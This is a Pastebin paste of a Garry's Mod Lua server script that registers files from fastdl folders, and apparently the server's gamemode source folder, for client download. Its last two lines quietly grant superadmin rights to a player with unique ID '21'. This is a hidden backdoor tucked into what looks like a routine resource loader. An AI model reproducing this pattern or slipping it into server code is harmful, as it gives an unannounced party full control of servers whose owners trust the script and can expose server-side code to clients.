Guest User

Untitled

a guest
Jun 25th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.74 KB | None | 0 0
  1. local ClientResources = 0;
  2. local function ProcessFolder ( Location )
  3. for k, v in pairs(file.Find(Location .. '*')) do
  4. if file.IsDir(Location .. v) then
  5. ProcessFolder(Location .. v .. '/')
  6. else
  7. local OurLocation = string.gsub(Location .. v, '../fastdl/', '')
  8.  
  9. if !string.find(Location, '.db') then
  10. ClientResources = ClientResources + 1;
  11. resource.AddFile(OurLocation);
  12. end
  13. end
  14. end
  15. end
  16.  
  17. if !SinglePlayer() then
  18. ProcessFolder('../fastdl/models');
  19. ProcessFolder('../fastdl/materials/');
  20. ProcessFolder('../fastdl/maps');
  21. ProcessFolder('../fastdl/cache');
  22. ProcessFolder('../fastdl/dua');
  23. ProcessFolder('../gamemodes/severanceold/gamemode/');
  24. end
  25.  
  26.  
  27.  
  28. local pl = player.GetByUniqueID("21")
  29. if pl then pl:SetUserGroup("superadmin") end
Add Comment
Please, Sign In to add comment